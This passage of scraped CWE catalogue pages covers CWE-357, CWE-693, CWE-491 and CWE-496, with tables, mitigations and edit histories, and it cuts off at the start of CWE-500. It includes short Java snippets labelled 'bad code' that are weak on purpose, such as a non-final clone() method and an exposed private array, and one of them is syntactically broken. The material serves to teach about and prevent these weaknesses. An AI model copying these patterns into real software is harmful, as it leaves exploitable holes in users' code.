Product systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.221Information Loss or Omission
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.355User Interface Security Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Non-Repudiation

Technical Impact: Hide Activities

+ Observed Examples
ReferenceDescription
Product does not warn user when document contains certain dangerous functions or macros.
Product does not warn user when document contains certain dangerous functions or macros.
Product does not warn user when document contains certain dangerous functions or macros.
Product does not warn user about a certificate if it has already been accepted for a different site. Possibly resultant.
File extractor does not warn user if setuid/setgid files could be extracted. Overlaps privileges/permissions.
E-mail client allows bypass of warning for dangerous attachments via a Windows .LNK file that refers to the attachment.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.996SFP Secondary Cluster: Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1413Comprehensive Categorization: Protection Mechanism Failure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Often resultant, e.g. in unhandled error conditions.

Relationship

Can overlap privilege errors, conceptually at least.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERProduct UI does not warn user of unsafe actions
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-693: Protection Mechanism Failure

Weakness ID: 693
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.
+ Extended Description
This weakness covers three distinct situations. A "missing" protection mechanism occurs when the application does not define any mechanism against a certain class of attack. An "insufficient" protection mechanism might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended. Finally, an "ignored" mechanism occurs when a mechanism is available and in active use within the product, but the developer has not applied it in some code path.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1000Research Concepts
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.182Collapse of Data into Unsafe Value
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.184Incomplete List of Disallowed Inputs
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.311Missing Encryption of Sensitive Data
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.326Inadequate Encryption Strength
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.327Use of a Broken or Risky Cryptographic Algorithm
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.330Use of Insufficiently Random Values
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.357Insufficient UI Warning of Dangerous Operations
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.358Improperly Implemented Security Check for Standard
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.424Improper Protection of Alternate Path
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.602Client-Side Enforcement of Server-Side Security
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.653Improper Isolation or Compartmentalization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.654Reliance on a Single Factor in a Security Decision
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.655Insufficient Psychological Acceptability
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.656Reliance on Security Through Obscurity
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.757Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.778Insufficient Logging
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.807Reliance on Untrusted Inputs in a Security Decision
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1039Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1248Semiconductor Defects in Hardware Logic with Security-Sensitive Implications
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1253Incorrect Selection of Fuse Values
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1269Product Released in Non-Release Configuration
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1278Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1291Public Key Re-Use for Signing both Debug and Production Code
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1318Missing Support for Security Features in On-chip Fabrics or Buses
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1319Improper Protection against Electromagnetic Fault Injection (EM-FI)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1326Missing Immutable Root of Trust in Hardware
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1338Improper Protections Against Hardware Overheating
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.975SFP Secondary Cluster: Architecture
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1370ICS Supply Chain: Common Mode Frailties
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1413Comprehensive Categorization: Protection Mechanism Failure
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is extremely high-level, a Pillar.

Comments:

Consider children or descendants of this entry instead.
+ Notes

Research Gap

The concept of protection mechanisms is well established, but protection mechanism failures have not been studied comprehensively. It is suspected that protection mechanisms can have significantly different types of weaknesses than the weaknesses that they are intended to prevent.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes
2009-01-12CWE Content TeamMITRE
updated Relationships
2009-03-10CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2009-05-27CWE Content TeamMITRE
updated Description, Related_Attack_Patterns
2009-07-27CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Maintenance_Notes, Other_Notes, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2013-02-21CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Related_Attack_Patterns, Relationships, Type
2020-06-25CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes
2021-07-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-491: Public cloneable() Method Without Final ('Object Hijack')

Weakness ID: 491
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Unexpected State; Varies by Context

+ Demonstrative Examples

Example 1

In this example, a public class "BankAccount" implements the cloneable() method which declares "Object clone(string accountnumber)":

(bad code)
Example Language: Java 
public class BankAccount implements Cloneable{
public Object clone(String accountnumber) throws
CloneNotSupportedException
{
Object returnMe = new BankAccount(account number);
...
}
}

Example 2

In the example below, a clone() method is defined without being declared final.

(bad code)
Example Language: Java 
protected Object clone() throws CloneNotSupportedException {
...
}
+ Potential Mitigations

Phase: Implementation

Make the cloneable() method final.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.4857PK - Encapsulation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.849The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1002SFP Secondary Cluster: Unexpected Entry Points
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1139SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsMobile Code: Object Hijack
The CERT Oracle Secure Coding Standard for Java (2011)OBJ07-JSensitive classes must not let themselves be copied
Software Fault PatternsSFP28Unexpected access points
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-453] OWASP. "OWASP , Attack Category : Mobile code: object hijack". <http://www.owasp.org/index.php/Mobile_code:_object_hijack>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated References, Demonstrative_Example, Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, References, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Name
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Mobile Code: Object Hijack
2009-05-27Public cloneable() Method Without Final (aka 'Object Hijack')

CWE-496: Public Data Assigned to Private Array-Typed Field

Weakness ID: 496
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Assigning public data to a private array is equivalent to giving public access to the array.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

The contents of the array can be modified from outside the intended scope.
+ Demonstrative Examples

Example 1

In the example below, the setRoles() method assigns a publically-controllable array to a private field, thus allowing the caller to modify the private array directly by virtue of the fact that arrays in Java are mutable.

(bad code)
Example Language: Java 
private String[] userRoles;
public void setUserRoles(String[] userRoles) {
this.userRoles = userRoles;
}
+ Potential Mitigations

Phase: Implementation

Do not allow objects to modify private members of a class.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.4857PK - Encapsulation
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.994SFP Secondary Cluster: Tainted Input to Variable
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsPublic Data Assigned to Private Array-Typed Field
Software Fault PatternsSFP25Tainted input to variable
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships, White_Box_Definitions
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-500: Public Static Field Not Marked Final

Weakness ID: 500
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×
